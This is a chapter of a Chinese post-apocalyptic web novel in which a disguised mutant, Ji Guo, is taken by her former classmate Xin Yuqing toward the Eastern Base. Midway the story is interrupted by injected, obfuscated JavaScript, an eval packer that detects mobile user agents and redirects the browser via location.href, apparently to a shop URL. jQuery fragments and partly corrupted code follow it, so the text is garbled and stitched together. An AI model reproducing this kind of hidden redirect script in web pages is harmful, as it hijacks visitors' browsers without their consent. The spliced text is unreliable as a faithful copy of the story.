纪果是在一阵争吵声中醒来的。睁开眼首先看到了一朵弯曲90度的假太阳花,折叠处还挂着一带营养液。

    她侧过头,看到关莱满脸通红的昂起头,一副据理力争的模样,在他身旁站着辛屿青。

    “不行,我请假和你一起走!”关莱不知道听到什么,气得眼角发红。

    他身旁的辛屿青没回话,只示意了一下往外走,后者亦步亦趋跟着出去了。

    盯着二人身影半响,纪果拔掉吊针起身,心想营养液就是好,饿了半年的肚子终于饱了,就是头有点昏。

    等会儿离开前得找辛屿青再要点,都是老同学这点要求应该能答应她吧?还得找他补偿几套衣服,大冬天污染体穿着漏风款也挺冷的。

    做好计划,纪果乐呵呵地低头穿鞋,穿到一半听到房外微弱的抽泣和交谈声——

    “那让果姐一直呆在基地不就好了。”关莱的声音带着点哽咽。

    辛屿青反问:“呆在基地被关上大半年?”

    “呆在基地比去东方基地安全!”关莱抹了把眼泪,掏出地图往地上一扔,“南方基地到东方基地中间隔那么多污染区,别说你一个人,就算带着整个小队能不能到也是个问题!”

    没人回话,徒然安静下来,纪果走到房门,透过缝隙看去。

    辛屿青那张脸仍旧没表情,他靠在墙上,整个背松懈地靠着,像是累极了。

    关莱的抽泣声还在继续,很小很长。

    “关莱,如果基地去除特效药痕迹的设备一辈子都维修不好,难道纪果要一辈子呆在基地?”辛屿青压低着声说。

    他直直盯着关莱,在对方迟疑的表情中坚定继续:“于公,我开的枪。于私,她....是我曾经的同学。”

    基地中误伤正常人的情况并不少见,为解决这个问题,基地特制了去除特效药的设备。由于物资匮乏,三大基地只各持一个。南方基地的在前些天任务中被损坏了。

    听到这儿,关莱还有什么不明白,只能红着眼睛点头:“所以队长昨晚回基地是早就知道吗?”

    纪果隔他们不远,但辛屿青的声音实在太小,她愣是一个字没听到。

    “说了回去拿东西,”辛屿青掩下复杂情绪,站直身体,“检测工作已经结束,休假条你回去复命时给首领。”

    关莱停止哽咽,不解地问:“你没回家吗?”

    辛屿青点头,抬起手作了个嘘的手势。

    “你只管提交报告,其余的如果他们问你,你就说不知道。”

    说完,抬脚就往房间走去。

    还在思索为什么突然要带她去东方基地进行检测的纪果回过神,手忙脚乱地跑回床上躺下继续装睡,还不忘把针头重新扎回去。

    辛屿青走到床边俯下身,静静地看着脸色苍白的纪果。

    目光轻抚过她身体的每一寸,最终停留在她垂落的右手。下一秒伸出手轻轻握住。

    太冰了,辛屿青愣住,而后倏得用另手去探她鼻息,一股微弱冷气打在他指尖。

    反应过来的辛屿青低头笑了笑,“居然担心一个最怕死的人死掉。”

    床上的人浑身一颤。

    “你这五年混得真惨。”他又说。

    纪果:“......”我忍。

    好在辛屿青没呆一会儿就走了,门一关纪果翻身而起,抬起右手看向食指,突然想起来昨天辛屿青也是看到这颗红痣才将她认出来的。

    难道这颗痣有什么特殊之处吗?

    纪果尝试着在脑海中思索相关记忆,却发现什么都没有,转而皱着眉思索关莱与辛屿青的谈话内容,最终得出——

    辛屿青以为她这几年住在东方基地,恰好南方基地进不去,所以打算带她回去检测。

    理清了这一切,纪果唰得一下从床上跳起,扯掉针头就要下床。

    就在这时,剧烈的眩晕感袭来,身体不受控制往前仰,她就这么和大地来了个亲密接触。

    “果姐!”

    呼喊声在陷入昏迷前的最后一秒传来,纪果掀起沉重的眼皮望去,只来得及捕捉到一抹黑色身影。

    .......

    南方基地位处西北,离东北基地不算太近,现下又恰逢冬季,辛屿青整整开了两日才离开南方基地管辖区。

    雪越下越大,辛屿青解决掉车屁股几个污染体后,掉头回到来时路过的停车场。

    停车场没人,他随意停下,转头看向副驾驶沉睡的人。眉头紧蹙。

    出发前找人给她换了身衣服,车内又打着空调,脸色怎么还这么白?

    忽然想起什么,辛屿青下车打开后备箱翻找。不一会儿他翻出一条毛毯,侧身盖在纪果身上。

    做好这一切,他才靠回车背闭目养神。

    车内一时安静下来,不知过了多久,一阵微弱的动静声传来。辛屿青瞬间转头,和一脸茫然的纪果四目相对。

    “你身体怎么这么差?”辛屿青微不可见地松了口气。

    空调不断地运转着,打出的热气“噗噗”落在身上,将怔愣的纪果打醒。

    车内、辛屿青。

    纪果倏得反应过来,反手就要打开车门,这一动手腕处就传来摩擦声响,低头一看,瞪大了眼。

    “绕开你伤口了,”辛屿青微笑,“这个绑法你五年前一次都没解开过,现在也不可能解开。”

    纪果喊:“辛屿青!”

    “纪果,你之前说要回东方基地,”辛屿青又说,“我带你回。”

    “啊?”纪果怔愣半秒,不再挣扎。

    原来他和关莱的谈话是真的。可她那日是故意骗辛屿青她有通行证的,要是到了基地发现她没有通行证.....

    那辛屿青肯定会发现她的不对劲,到那时,再跑就来不及了。

    辛屿青往下弯腰,捡起掉在座椅前的毛毯盖回她身上。纪果不怕冷,更何况她这会儿心最冷,干脆一动不动地看着他。

    车内重归寂静。一向活泼的人这会儿反常地不吭声,辛屿青抬眼看去。

    她被炸烧焦的头发被剪掉,齐腰的长发变为齐肩短发,微微泛黄。眼眸很亮,脸型流畅,额头饱满。

    除了那张脸,其他和五年前都不太一样。倒是身上那股倔强不服输的劲还在。

    辛屿青抬手落在她头顶,轻声说:“纪果,还记得之前我...我开的那枪吗?”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17049848|194794||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    p>纪果原本想质问他是不是发现她异变,闻言侧头看来。

    揉头的动作越来越轻,辛屿青往下解开绳索:“特效药在你身上留下了痕迹,这个痕迹不去除会有危险。”

    纪果想起那天二人的谈话,有些细节她的确不知道,于是她问:“什么危险?”

    “基地检测设备会自动识别到你,”辛屿青微侧头,“你难道想?”

    纪果沉默片刻,面露纠结,“没有其他方法去除吗?”

    东方基地.....那鬼地方她不想再去了,但这痕迹不去除,也是个大麻烦。

    “南方基地设备还在维修,现在只有东方基地还没进入维修期。”

    辛屿青边说边收回手坐正。纪果朝他看去,发现他在翻东西。露出的脖子上挂着一条红色鲸鱼形状的项链。

    辛屿青翻出一个盒子扔过去,“这个给你。”

    纪果看着那条项链走神,一时没反应过来,盒子砸到身上发出“碰”的一声。

    已经转过头的辛屿青重新回头,看着这一幕,默不作声地捡起放到她腿上。

    一个曾经反应迅速、动作敏捷的精神体,现在连接东西都反应缓慢。

    纪果回过神,脑海里全是那条红色的项链,闭上了眼,藏在毛毯下的身体发起抖来。

    “还是不舒服?”辛屿青把空调再往上调,丝毫不在意燃料,手握上方向盘,“这里太空旷,找个隐蔽点的地方,你去后排休息。”

    “好。”纪果满脑子都是那条项链。

    车子重新行驶在大道上。

    纪果还在想辛屿青脖子上的项链。她一看见那条项链,身体就不受控制地发抖,本能地害怕它。难道那条项链里也有什么特效药?

    要直接开口问吗?纪果犹豫了。

    辛屿青现在明显当她正常人,又加上那枪,所以才会死活要带上她。她知道换作任何一个正常人,他都会这样做。

    但当他发现她不是呢?纪果不敢想。

    辛屿青余光瞥向身旁,“你抖什么?”座椅都被她带着抖了。

    纪果赶紧控制身体,试探着问:“辛屿青,你这几年都在检测队吗?”

    车子停下,辛屿青转头,有些意外,“对。”

    这是自重逢以来,她第一次问起他。

    “那你们会接触污染体吗?”纪果眼睛亮了起来。“你有见过不太“一般”的污染体吗?

    辛屿青摇头又点头。

    他的确经常接触污染体。感染后的污染体都是同样的状态,不过末世第二年在基地外碰到过一个似乎保持意志的污染体,可惜胆子太小被吓走了。

    “见过。”辛屿青这样回答。

    纪果激动。

    “但实际上没太大区别....”辛屿青盯着她的眼睛,“再不一般,也是污染体。”

    纪果:“.......”

    普通污染体和异变污染体是不一样的!!!

    没见识真可怕!

    “谁.....”作为异变污染体,纪果决定为自己正名,话才起音,耳边就响起熟悉的扳机声,一抬头,辛屿青枪口又对着她脑门。

    纪果心跳骤然停下。